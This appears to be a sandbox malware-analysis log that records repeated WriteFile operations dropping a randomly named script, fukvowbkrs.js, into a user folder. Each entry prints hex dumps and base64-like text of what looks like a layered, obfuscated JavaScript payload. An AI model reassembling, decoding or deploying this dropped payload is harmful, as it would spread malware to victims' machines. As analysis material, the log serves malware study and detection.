4e 6a 46 63 65 44 59 
7a 58 48 67 30 52 6c 
78 34 4e 45 5a 63 65 
44 55 79 58 48 67 33 
51 56 78 34 4e 6b 56 
63 65 44 59 79 58 48 
67 31 4d 56 78 34 4e 
6a 5a 63 65 44 59 7a 
58 48 67 7a 4d 31 78 
34 4e 6b 4a 63 65 44 
4d 30 58 48 67 33 4d 
56 78 34 4d 7a 5a 63 
65 44 4d 34 58 48 67 
31 4d 56 78 34 4d 7a 
68 63 65 44 59 30 58 
48 67 32 4e 31 78 34 
4e 7a 6d 63 65 44 4d 
31 58 48 67 30 51 6c 
78 34 4d 6b 4a 63 65 
44 59 31 58 48 67 33 
4f 46 78 34 4e 6a 4e 
63 65 44 

1XHgzNFx4NEFceDJCXH
g2Q1x4NDNce
DQyXHg3OVx4NTNceDUz
XHg3MVx4NTV
ceDREXHg2Qlx4MzlceDZ
EXHg0NVx4N
TVceDRDXHg3QVx4NjFc
eDYzXHg0Rlx
4NEZceDUyXHg3QVx4Nk
VceDYyXHg1M
Vx4NjZceDYzXHgzM1x4N
kJceDM0XHg
3MVx4MzZceDM4XHg1M
Vx4MzhceDY0X
Hg2N1x4NzmceDM1XHg0
Qlx4MkJceDY
1XHg3OFx4NjNceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 34 58 48 67 79 51 6c 
78 34 4e 45 52 63 65 
44 52 45 58 48 67 32 
52 46 78 34 4e 6b 52 
63 65 44 5a 44 58 48 
67 7a 4f 46 78 34 4e 
54 6c 63 65 44 59 34 
58 48 67 32 52 56 78 
34 4e 44 68 63 65 44 
63 30 58 48 67 32 4d 
31 78 34 4e 44 6d 63 
65 44 63 78 58 48 67 
31 4e 46 78 34 4e 30 
46 63 65 44 55 34 58 
48 67 30 4d 6c 78 34 
4e 44 68 63 65 44 63 
7a 58 48 67 32 4d 31 
78 34 4e 7a 6c 63 65 
44 63 30 58 48 67 7a 
4d 6c 78 34 4e 7a 6d 
63 65 44 52 46 58 48 
67 33 51 56 78 34 4e 
6b 4a 63 65 44 59 7a 
58 48 67 33 4d 46 78 
34 4d 6b 4a 63 65 44 
51 34 58 48 67 30 4f 
56 78 34 4e 6b 5a 63 
65 44 5a 42 58 48 67 
30 4f 46 78 34 4e 6b 
5a 63 65 44 63 30 58 
48 67 30 4e 6c 78 34 
4e 45 4e 63 65 44 52 
45 58 48 67 30 4e 46 
78 34 4e 54 42 63 65 
44 55 35 58 48 67 7a 
4f 56 78 34 4d 7a 4a 
63 65 44 

4XHgyQlx4NERceDREXH
g2RFx4NkRce
DZDXHgzOFx4NTlceDY4
XHg2RVx4NDh
ceDc0XHg2M1x4NDmceD
cxXHg1NFx4N
0FceDU4XHg0Mlx4NDhce
DczXHg2M1x
4NzlceDc0XHgzMlx4Nzmc
eDRFXHg3Q
Vx4NkJceDYzXHg3MFx4
MkJceDQ4XHg
0OVx4NkZceDZBXHg0OF
x4NkZceDc0X
Hg0Nlx4NENceDREXHg0
NFx4NTBceDU
5XHgzOVx4MzJceD

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 31 58 48 67 33 4e 31 
78 34 4d 7a 68 63 65 
44 5a 45 58 48 67 30 
4f 46 78 34 4e 6b 46 
63 65 44 59 7a 58 48 
67 33 4d 31 78 34 4e 
7a 46 63 65 44 55 32 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 31 4d 
31 78 34 4e 6b 4a 63 
65 44 5a 46 58 48 67 
32 4d 56 78 34 4d 7a 
52 63 65 44 5a 46 58 
48 67 33 4e 56 78 34 
4e 55 46 63 65 44 59 
78 58 48 67 30 4e 46 
78 34 4e 54 46 63 65 
44 59 31 58 48 67 32 
4e 6c 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 6a 5a 63 65 44 
63 35 58 48 67 32 51 
56 78 34 4e 6a 6c 63 
65 44 52 46 58 48 67 
30 4d 6c 78 34 4e 6a 
68 63 65 44 52 47 58 
48 67 32 4e 46 78 34 
4e 55 46 63 65 44 51 
30 58 48 67 30 51 6c 
78 34 4e 54 52 63 65 
44 59 79 58 48 67 79 
52 6c 78 34 4d 7a 52 
63 65 44 

1XHg3N1x4MzhceDZEXH
g0OFx4NkFce
DYzXHg3M1x4NzFceDU2
XHgzRVx4MjV
ceDQwXHg1M1x4NkJceD
ZFXHg2MVx4M
zRceDZFXHg3NVx4NUFc
eDYxXHg0NFx
4NTFceDY1XHg2Nlx4M0V
ceDI1XHg0M
Fx4M0VceDI1XHg0MFx4
NjZceDc5XHg
2QVx4NjlceDRFXHg0Mlx4
NjhceDRGX
Hg2NFx4NUFceDQ0XHg0
Qlx4NTRceDY
yXHgyRlx4MzRceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 384 46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 55 35 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 31 4f 56 78 34 
4d 7a 4a 63 65 44 51 
32 58 48 67 33 4f 56 
78 34 4e 54 52 63 65 
44 51 33 58 48 67 30 
4e 6c 78 34 4e 7a 52 
63 65 44 55 35 58 48 
67 32 52 46 78 34 4d 
7a 68 63 65 44 63 32 
58 48 67 32 4e 56 78 
34 4e 44 6d 63 65 44 
52 46 58 48 67 32 51 
6c 78 34 4e 55 46 63 
65 44 4d 79 58 48 67 
32 4f 46 78 34 4e 6b 
4a 63 65 44 56 42 58 
48 67 7a 4d 6c 78 34 
4e 54 4a 63 65 44 63 
31 58 48 67 30 51 31 
78 34 4e 6b 52 63 65 
44 52 46 58 48 67 33 
4d 31 78 34 4e 54 6c 
63 65 44 

FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DU5XHgzRVx4MjVceDQw
XHgzRVx4MjV
ceDQwXHgzRVx4MjVceD
QwXHgzRVx4M
jVceDQwXHg1OVx4MzJc
eDQ2XHg3OVx
4NTRceDQ3XHg0Nlx4NzR
ceDU5XHg2R
Fx4MzhceDc2XHg2NVx4
NDmceDRFXHg
2Qlx4NUFceDMyXHg2OF
x4NkJceDVBX
HgzMlx4NTJceDc1XHg0Q
1x4NkRceDR
FXHg3M1x4NTlceD
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C:\Users\user\fukvowbkrs.js unknown 1024 44 58 48 67 30 51 6c 
78 34 4e 54 6c 63 65 
44 63 35 58 48 67 30 
4e 31 78 34 4d 7a 52 
63 65 44 52 42 58 48 
67 32 51 6c 78 34 4d 
7a 56 63 65 44 5a 43 
58 48 67 30 51 56 78 
34 4e 54 6c 63 65 44 
55 33 58 48 67 33 4e 
56 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 44 
4e 63 65 44 55 78 58 
48 67 31 4d 56 78 34 
4e 54 4e 63 65 44 51 
7a 58 48 67 32 4f 46 
78 34 4e 6b 5a 63 65 
44 55 35 58 48 67 7a 
4d 56 78 34 4e 6a 6c 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 63 33 
58 48 67 31 4d 56 78 
34 4e 6a 52 63 65 44 
63 31 58 48 67 79 51 
6c 78 34 4e 6b 52 63 
65 44 55 34 58 48 67 
32 52 46 78 34 4e 55 
46 63 65 44 51 30 58 
48 67 30 51 56 78 34 
4d 7a 4e 63 65 44 52 
45 58 48 67 33 4f 46 
78 34 4e 44 68 63 65 
44 5a 44 58 48 67 33 
4e 6c 78 34 4e 44 6c 
63 65 44 

DXHg0Qlx4NTlceDc5XHg
0N1x4MzRce
DRBXHg2Qlx4MzVceDZC
XHg0QVx4NTl
ceDU3XHg3NVx4M0VceD
I1XHg0MFx4N
DNceDUxXHg1MVx4NTNc
eDQzXHg2OFx
4NkZceDU5XHgzMVx4Njl
ceDNFXHgyN
Vx4NDBceDc3XHg1MVx4
NjRceDc1XHg
yQlx4NkRceDU4XHg2RFx
4NUFceDQ0X
Hg0QVx4MzNceDREXHg3
OFx4NDhceDZ
DXHg3Nlx4NDlceD

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 46 58 48 67 30 52 46 
78 34 4e 54 6d 63 65 
44 55 79 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 7a 4d 6c 78 34 4e 
44 5a 63 65 44 51 35 
58 48 67 31 51 56 78 
34 4e 30 46 63 65 44 
63 7a 58 48 67 33 51 
56 78 34 4d 7a 52 63 
65 44 5a 43 58 48 67 
33 4e 6c 78 34 4e 44 
4e 63 65 44 5a 43 58 
48 67 32 4e 31 78 34 
4d 7a 46 63 65 44 4d 
35 58 48 67 32 4e 6c 
78 34 4e 54 68 63 65 
44 63 31 58 48 67 31 
4e 31 78 34 4e 6a 4a 
63 65 44 4d 30 58 48 
67 7a 4e 56 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 7a 5a 63 65 44 
55 35 58 48 67 32 4d 
56 78 34 4d 7a 4e 63 
65 44 4a 43 58 48 67 
33 51 56 78 34 4e 44 
6d 63 65 44 56 42 58 
48 67 32 4d 6c 78 34 
4d 7a 6d 63 65 44 51 
32 58 48 67 32 4d 31 
78 34 4d 6b 4a 63 65 
44 63 31 58 48 67 30 
52 56 78 34 4e 6a 5a 
63 65 44 

FXHg0RFx4NTmceDUyXH
gzRVx4MjVce
DQwXHgzMlx4NDZceDQ5
XHg1QVx4N0F
ceDczXHg3QVx4MzRceD
ZCXHg3Nlx4N
DNceDZCXHg2N1x4MzFc
eDM5XHg2Nlx
4NThceDc1XHg1N1x4NjJc
eDM0XHgzN
Vx4M0VceDI1XHg0MFx4
NzZceDU5XHg
2MVx4MzNceDJCXHg3Q
Vx4NDmceDVBX
Hg2Mlx4MzmceDQ2XHg2
M1x4MkJceDc
1XHg0RVx4NjZceD

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 32 4d 6c 
78 34 4e 7a 52 63 65 
44 55 34 58 48 67 33 
4d 6c 78 34 4d 7a 42 
63 65 44 5a 44 58 48 
67 7a 4d 31 78 34 4e 
55 46 63 65 44 59 30 
58 48 67 32 4d 31 78 
34 4e 7a 4e 63 65 44 
52 42 58 48 67 33 4d 
31 78 34 4e 45 52 63 
65 44 59 79 58 48 67 
31 4d 46 78 34 4e 54 
42 63 65 44 51 7a 58 
48 67 33 4d 56 78 34 
4e 54 5a 63 65 44 59 
35 58 48 67 33 4e 6c 
78 34 4e 6b 4e 63 65 
44 5a 43 58 48 67 33 
4f 46 78 34 4e 54 46 
63 65 44 59 30 58 48 
67 7a 4d 31 78 34 4e 
6b 4a 63 65 44 4d 30 
58 48 67 30 4f 46 78 
34 4e 6b 4a 63 65 44 
63 32 58 48 67 30 4e 
56 78 34 4d 7a 6c 63 
65 44 51 32 58 48 67 
31 4f 56 78 34 4e 7a 
6c 63 65 44 55 34 58 
48 67 7a 4e 56 78 34 
4d 7a 6d 63 65 44 63 
32 58 48 67 32 52 46 
78 34 4e 44 5a 63 65 
44 59 7a 58 48 67 32 
52 56 78 34 4e 44 6c 
63 65 44 

5XHg2Mlx4NzRceDU4XHg
3Mlx4MzBce
DZDXHgzM1x4NUFceDY0
XHg2M1x4NzN
ceDRBXHg3M1x4NERceD
YyXHg1MFx4N
TBceDQzXHg3MVx4NTZc
eDY5XHg3Nlx
4NkNceDZCXHg3OFx4NT
FceDY0XHgzM
1x4NkJceDM0XHg0OFx4
NkJceDc2XHg
0NVx4MzlceDQ2XHg1OV
x4NzlceDU4X
HgzNVx4MzmceDc2XHg2
RFx4NDZceDY
zXHg2RVx4NDlceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 78 58 48 67 31 4d 46 
78 34 4e 54 4a 63 65 
44 52 45 58 48 67 31 
4d 31 78 34 4e 7a 56 
63 65 44 4d 78 58 48 
67 7a 4e 31 78 34 4e 
54 46 63 65 44 4a 47 
58 48 67 33 4e 46 78 
34 4e 44 4e 63 65 44 
59 32 58 48 67 32 4d 
31 78 34 4e 6b 56 63 
65 44 4a 43 58 48 67 
32 51 6c 78 34 4e 7a 
5a 63 65 44 4d 78 58 
48 67 32 4f 56 78 34 
4e 6b 5a 63 65 44 59 
31 58 48 67 31 4d 6c 
78 34 4d 7a 52 63 65 
44 59 33 58 48 67 7a 
4d 31 78 34 4e 44 68 
63 65 44 5a 43 58 48 
67 33 4f 46 78 34 4e 
7a 42 63 65 44 63 32 
58 48 67 30 4f 56 78 
34 4e 45 4a 63 65 44 
52 44 58 48 67 30 4e 
31 78 34 4e 54 5a 63 
65 44 59 30 58 48 67 
7a 4e 6c 78 34 4e 45 
46 63 65 44 5a 42 58 
48 67 31 4d 6c 78 34 
4e 6a 4a 63 65 44 55 
34 58 48 67 32 4e 46 
78 34 4e 54 52 63 65 
44 55 32 58 48 67 30 
51 6c 78 34 4e 6b 46 
63 65 44 

xXHg1MFx4NTJceDREXH
g1M1x4NzVce
DMxXHgzN1x4NTFceDJG
XHg3NFx4NDN
ceDY2XHg2M1x4NkVceD
JCXHg2Qlx4N
zZceDMxXHg2OVx4NkZc
eDY1XHg1Mlx
4MzRceDY3XHgzM1x4ND
hceDZCXHg3O
Fx4NzBceDc2XHg0OVx4
NEJceDRDXHg
0N1x4NTZceDY0XHgzNlx
4NEFceDZBX
Hg1Mlx4NjJceDU4XHg2N
Fx4NTRceDU
2XHg0Qlx4NkFceD
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C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 30 51 6c 
78 34 4e 6a 4a 63 65 
44 5a 47 58 48 67 32 
51 56 78 34 4e 6b 4a 
63 65 44 59 35 58 48 
67 32 51 31 78 34 4e 
6b 52 63 65 44 52 47 
58 48 67 7a 4e 56 78 
34 4e 6a 46 63 65 44 
4a 47 58 48 67 31 4e 
31 78 34 4e 7a 6d 63 
65 44 55 33 58 48 67 
32 52 46 78 34 4e 44 
5a 63 65 44 55 7a 58 
48 67 7a 4e 46 78 34 
4e 54 6d 63 65 44 63 
79 58 48 67 33 4d 56 
78 34 4e 7a 4e 63 65 
44 4d 79 58 48 67 31 
4e 46 78 34 4e 7a 4e 
63 65 44 59 78 58 48 
67 32 52 46 78 34 4e 
7a 52 63 65 44 52 46 
58 48 67 7a 4e 6c 78 
34 4e 54 68 63 65 44 
4d 78 58 48 67 32 4f 
56 78 34 4e 6b 4e 63 
65 44 4d 7a 58 48 67 
33 4d 56 78 34 4e 7a 
52 63 65 44 51 35 58 
48 67 33 4d 6c 78 34 
4e 44 6c 63 65 44 52 
42 58 48 67 32 4e 46 
78 34 4e 6a 56 63 65 
44 55 77 58 48 67 30 
4f 46 78 34 4e 54 4e 
63 65 44 

5XHg0Qlx4NjJceDZGXHg
2QVx4NkJce
DY5XHg2Q1x4NkRceDRG
XHgzNVx4NjF
ceDJGXHg1N1x4NzmceD
U3XHg2RFx4N
DZceDUzXHgzNFx4NTmc
eDcyXHg3MVx
4NzNceDMyXHg1NFx4Nz
NceDYxXHg2R
Fx4NzRceDRFXHgzNlx4N
ThceDMxXHg
2OVx4NkNceDMzXHg3M
Vx4NzRceDQ5X
Hg3Mlx4NDlceDRBXHg2N
Fx4NjVceDU
wXHg0OFx4NTNceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 31 58 48 67 30 4e 31 
78 34 4e 54 4a 63 65 
44 52 43 58 48 67 7a 
4d 56 78 34 4d 6b 4a 
63 65 44 4d 77 58 48 
67 7a 4f 56 78 34 4e 
6a 68 63 65 44 55 79 
58 48 67 32 52 56 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 44 6c 63 
65 44 63 79 58 48 67 
33 4e 31 78 34 4d 7a 
6c 63 65 44 4d 30 58 
48 67 32 51 56 78 34 
4e 7a 4e 63 65 44 51 
31 58 48 67 31 4e 46 
78 34 4d 7a 4e 63 65 
44 51 30 58 48 67 30 
4e 46 78 34 4e 6a 4e 
63 65 44 59 78 58 48 
67 32 4e 31 78 34 4e 
6b 5a 63 65 44 4d 79 
58 48 67 32 52 46 78 
34 4d 7a 5a 63 65 44 
59 7a 58 48 67 32 4e 
46 78 34 4e 54 4a 63 
65 44 52 43 58 48 67 
79 51 6c 78 34 4e 7a 
5a 63 65 44 4d 78 58 
48 67 33 4d 6c 78 34 
4e 30 46 63 65 44 55 
78 58 48 67 32 4d 6c 
78 34 4e 30 46 63 65 
44 5a 45 58 48 67 30 
4e 6c 78 34 4e 6a 6c 
63 65 44 

1XHg0N1x4NTJceDRCXH
gzMVx4MkJce
DMwXHgzOVx4NjhceDUy
XHg2RVx4M0V
ceDI1XHg0MFx4NDlceDc
yXHg3N1x4M
zlceDM0XHg2QVx4NzNce
DQ1XHg1NFx
4MzNceDQ0XHg0NFx4Nj
NceDYxXHg2N
1x4NkZceDMyXHg2RFx4
MzZceDYzXHg
2NFx4NTJceDRCXHgyQlx
4NzZceDMxX
Hg3Mlx4N0FceDUxXHg2
Mlx4N0FceDZ
EXHg0Nlx4NjlceD
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C:\Users\user\fukvowbkrs.js unknown 1024 42 58 48 67 30 51 31 
78 34 4e 6a 56 63 65 
44 63 35 58 48 67 33 
4e 6c 78 34 4e 44 5a 
63 65 44 63 30 58 48 
67 30 4e 31 78 34 4e 
6a 6c 63 65 44 63 31 
58 48 67 79 51 6c 78 
34 4d 7a 56 63 65 44 
63 79 58 48 67 30 4f 
46 78 34 4e 6b 46 63 
65 44 55 33 58 48 67 
7a 4d 31 78 34 4e 6b 
4a 63 65 44 55 31 58 
48 67 7a 4e 31 78 34 
4e 6a 6d 63 65 44 63 
33 58 48 67 30 4d 31 
78 34 4e 44 4a 63 65 
44 4d 77 58 48 67 32 
4d 56 78 34 4e 6a 56 
63 65 44 4d 35 58 48 
67 30 51 56 78 34 4e 
54 5a 63 65 44 51 32 
58 48 67 32 4e 56 78 
34 4e 44 52 63 65 44 
5a 47 58 48 67 32 4e 
6c 78 34 4d 7a 52 63 
65 44 59 7a 58 48 67 
7a 4d 46 78 34 4d 6b 
4a 63 65 44 63 33 58 
48 67 7a 4d 56 78 34 
4e 6b 56 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 5a 45 58 48 67 7a 
4d 31 78 34 4e 6a 52 
63 65 44 

BXHg0Q1x4NjVceDc5XHg
3Nlx4NDZce
Dc0XHg0N1x4NjlceDc1XH
gyQlx4MzV
ceDcyXHg0OFx4NkFceD
U3XHgzM1x4N
kJceDU1XHgzN1x4Njmce
Dc3XHg0M1x
4NDJceDMwXHg2MVx4Nj
VceDM5XHg0Q
Vx4NTZceDQ2XHg2NVx4
NDRceDZGXHg
2Nlx4MzRceDYzXHgzMFx
4MkJceDc3X
HgzMVx4NkVceDNFXHgy
NVx4NDBceDZ
EXHgzM1x4NjRceD

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 35 58 48 67 32 52 56 
78 34 4e 6b 52 63 65 
44 52 43 58 48 67 79 
51 6c 78 34 4e 6b 52 
63 65 44 4d 7a 58 48 
67 33 4f 56 78 34 4d 
7a 4a 63 65 44 5a 46 
58 48 67 30 52 6c 78 
34 4e 54 6c 63 65 44 
5a 44 58 48 67 7a 4e 
46 78 34 4e 54 6d 63 
65 44 5a 42 58 48 67 
31 4e 56 78 34 4e 6a 
4e 63 65 44 51 7a 58 
48 67 33 51 56 78 34 
4e 7a 42 63 65 44 5a 
47 58 48 67 30 52 46 
78 34 4d 7a 46 63 65 
44 5a 45 58 48 67 31 
4f 46 78 34 4e 7a 68 
63 65 44 59 34 58 48 
67 33 4d 56 78 34 4e 
54 42 63 65 44 63 33 
58 48 67 30 4d 31 78 
34 4e 54 6d 63 65 44 
4d 34 58 48 67 30 4e 
31 78 34 4e 54 5a 63 
65 44 63 34 58 48 67 
7a 4e 56 78 34 4e 44 
4a 63 65 44 51 32 58 
48 67 31 4d 6c 78 34 
4d 7a 52 63 65 44 55 
78 58 48 67 31 4e 46 
78 34 4e 54 6d 63 65 
44 51 35 58 48 67 32 
4f 46 78 34 4e 45 46 
63 65 44 

5XHg2RVx4NkRceDRCXH
gyQlx4NkRce
DMzXHg3OVx4MzJceDZF
XHg0Rlx4NTl
ceDZDXHgzNFx4NTmceD
ZBXHg1NVx4N
jNceDQzXHg3QVx4NzBce
DZGXHg0RFx
4MzFceDZEXHg1OFx4Nz
hceDY4XHg3M
Vx4NTBceDc3XHg0M1x4
NTmceDM4XHg
0N1x4NTZceDc4XHgzNVx
4NDJceDQ2X
Hg1Mlx4MzRceDUxXHg1
NFx4NTmceDQ
5XHg2OFx4NEFceD
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C:\Users\user\fukvowbkrs.js unknown 1024 34 58 48 67 33 4e 31 
78 34 4e 44 4e 63 65 
44 63 30 58 48 67 32 
4e 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
7a 4e 63 65 44 52 46 
58 48 67 32 4f 56 78 
34 4e 6a 6d 63 65 44 
55 32 58 48 67 32 4f 
46 78 34 4e 45 52 63 
65 44 52 42 58 48 67 
32 4d 6c 78 34 4e 44 
4a 63 65 44 55 31 58 
48 67 33 4d 6c 78 34 
4e 44 4a 63 65 44 52 
42 58 48 67 33 4e 46 
78 34 4e 54 68 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 52 42 58 48 
67 30 4e 56 78 34 4e 
7a 5a 63 65 44 63 78 
58 48 67 30 52 56 78 
34 4e 44 6c 63 65 44 
4a 47 58 48 67 33 4e 
6c 78 34 4e 45 5a 63 
65 44 63 33 58 48 67 
7a 4d 46 78 34 4e 7a 
52 63 65 44 4a 47 58 
48 67 30 51 56 78 34 
4e 44 56 63 65 44 51 
33 58 48 67 32 4e 56 
78 34 4e 45 46 63 65 
44 59 32 58 48 67 30 
51 31 78 34 4d 7a 68 
63 65 44 

4XHg3N1x4NDNceDc0XH
g2NVx4M0Vce
DI1XHg0MFx4NzNceDRF
XHg2OVx4Njm
ceDU2XHg2OFx4NERceD
RBXHg2Mlx4N
DJceDU1XHg3Mlx4NDJce
DRBXHg3NFx
4NThceDNFXHgyNVx4ND
BceDRBXHg0N
Vx4NzZceDcxXHg0RVx4N
DlceDJGXHg
3Nlx4NEZceDc3XHgzMFx
4NzRceDJGX
Hg0QVx4NDVceDQ3XHg2
NVx4NEFceDY
2XHg0Q1x4MzhceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 32 58 48 67 33 4d 56 
78 34 4e 45 46 63 65 
44 5a 47 58 48 67 33 
51 56 78 34 4e 6a 68 
63 65 44 52 47 58 48 
67 30 4e 6c 78 34 4e 
45 46 63 65 44 4d 7a 
58 48 67 7a 52 56 78 
34 4d 6a 56 63 65 44 
51 77 58 48 67 33 4e 
31 78 34 4d 7a 4e 63 
65 44 5a 42 58 48 67 
30 4e 56 78 34 4e 45 
5a 63 65 44 51 79 58 
48 67 7a 4d 46 78 34 
4e 45 5a 63 65 44 4a 
47 58 48 67 32 51 6c 
78 34 4e 6a 52 63 65 
44 51 79 58 48 67 32 
4e 6c 78 34 4e 7a 5a 
63 65 44 59 32 58 48 
67 31 4f 46 78 34 4d 
7a 42 63 65 44 55 78 
58 48 67 31 4e 6c 78 
34 4e 7a 42 63 65 44 
63 77 58 48 67 31 4e 
46 78 34 4e 55 46 63 
65 44 59 30 58 48 67 
32 4e 56 78 34 4e 44 
52 63 65 44 5a 44 58 
48 67 7a 4e 56 78 34 
4e 54 4e 63 65 44 55 
33 58 48 67 30 51 6c 
78 34 4e 6a 6c 63 65 
44 52 42 58 48 67 31 
4f 56 78 34 4e 54 42 
63 65 44 

2XHg3MVx4NEFceDZGX
Hg3QVx4Njhce
DRGXHg0Nlx4NEFceDMz
XHgzRVx4MjV
ceDQwXHg3N1x4MzNceD
ZBXHg0NVx4N
EZceDQyXHgzMFx4NEZc
eDJGXHg2Qlx
4NjRceDQyXHg2Nlx4NzZ
ceDY2XHg1O
Fx4MzBceDUxXHg1Nlx4N
zBceDcwXHg
1NFx4NUFceDY0XHg2NV
x4NDRceDZDX
HgzNVx4NTNceDU3XHg0
Qlx4NjlceDR
BXHg1OVx4NTBceD
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C:\Users\user\fukvowbkrs.js unknown 1024 77 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 31 4f 56 78 34 4d 
7a 4a 63 65 44 51 32 
58 48 67 33 4f 56 78 
34 4e 54 52 63 65 44 
51 33 58 48 67 30 4e 
6c 78 34 4e 7a 52 63 
65 44 55 35 58 48 67 
32 52 46 78 34 4d 7a 
68 63 65 44 63 32 58 
48 67 32 4d 31 78 34 
4d 7a 4a 63 65 44 56 
42 58 48 67 33 51 56 
78 34 4e 6a 4e 63 65 
44 5a 45 58 48 67 32 
4e 46 78 34 4e 30 46 
63 65 44 55 35 58 48 
67 32 52 46 78 34 4e 
54 46 63 65 44 63 31 
58 48 67 31 4f 56 78 
34 4d 7a 4a 63 65 44 
63 34 58 48 67 32 4f 
46 78 34 4e 6a 4e 63 
65 44 4d 7a 58 48 67 
30 52 56 78 34 4e 7a 
52 63 65 44 5a 42 58 
48 67 7a 4f 46 78 34 
4e 44 5a 63 65 44 63 
78 58 48 67 33 4e 31 
78 34 4e 6b 4a 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 

wXHgzRVx4MjVceDQwXH
gzRVx4MjVce
DQwXHg1OVx4MzJceDQ
2XHg3OVx4NTR
ceDQ3XHg0Nlx4NzRceDU
5XHg2RFx4M
zhceDc2XHg2M1x4MzJce
DVBXHg3QVx
4NjNceDZEXHg2NFx4N0F
ceDU5XHg2R
Fx4NTFceDc1XHg1OVx4
MzJceDc4XHg
2OFx4NjNceDMzXHg0RV
x4NzRceDZBX
HgzOFx4NDZceDcxXHg3
N1x4NkJceDN
FXHgyNVx4NDBceD

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 51 32 58 48 
67 30 4d 6c 78 34 4e 
45 4e 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
63 33 58 48 67 31 4d 
56 78 34 4e 54 56 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 59 
33 58 48 67 30 4f 56 
78 34 4e 44 4e 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 51 7a 58 48 
67 32 4d 6c 78 34 4e 
44 5a 63 65 44 5a 44 
58 48 67 32 4e 46 78 
34 4e 54 4e 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 

FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DQ2XHg0Mlx4NENceDNF
XHgyNVx4NDB
ceDc3XHg1MVx4NTVceD
NFXHgyNVx4N
DBceDNFXHgyNVx4NDBc
eDY3XHg0OVx
4NDNceDNFXHgyNVx4ND
BceDQzXHg2M
lx4NDZceDZDXHg2NFx4N
TNceDNFXHg
yNVx4NDBceDNFXHgyNV
x4NDBceDNFX
HgyNVx4NDBceDNFXHgy
NVx4NDBceDN
FXHgyNVx4NDBceD
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C:\Users\user\fukvowbkrs.js unknown 1024 79 58 48 67 33 4e 56 
78 34 4e 6a 6d 63 65 
44 4d 77 58 48 67 30 
4f 46 78 34 4e 45 52 
63 65 44 59 30 58 48 
67 33 4e 56 78 34 4e 
45 4e 63 65 44 55 77 
58 48 67 30 4f 46 78 
34 4d 7a 4a 63 65 44 
4d 30 58 48 67 30 52 
56 78 34 4e 6b 4a 63 
65 44 4d 35 58 48 67 
7a 4e 46 78 34 4e 54 
4e 63 65 44 63 32 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 32 4e 56 
78 34 4e 6a 5a 63 65 
44 52 47 58 48 67 30 
4d 31 78 34 4e 6a 4e 
63 65 44 55 35 58 48 
67 31 4d 46 78 34 4e 
6b 4e 63 65 44 4d 32 
58 48 67 7a 4f 56 78 
34 4e 6b 5a 63 65 44 
4d 33 58 48 67 32 4f 
56 78 34 4e 44 6d 63 
65 44 59 31 58 48 67 
7a 4e 46 78 34 4e 54 
4e 63 65 44 56 42 58 
48 67 30 4d 31 78 34 
4e 6b 46 63 65 44 52 
47 58 48 67 7a 4e 6c 
78 34 4e 44 4a 63 65 
44 59 35 58 48 67 31 
4e 6c 78 34 4e 6b 52 
63 65 44 

yXHg3NVx4NjmceDMwXH
g0OFx4NERce
DY0XHg3NVx4NENceDU
wXHg0OFx4MzJ
ceDM0XHg0RVx4NkJceD
M5XHgzNFx4N
TNceDc2XHgzRVx4MjVce
DQwXHg2NVx
4NjZceDRGXHg0M1x4NjN
ceDU5XHg1M
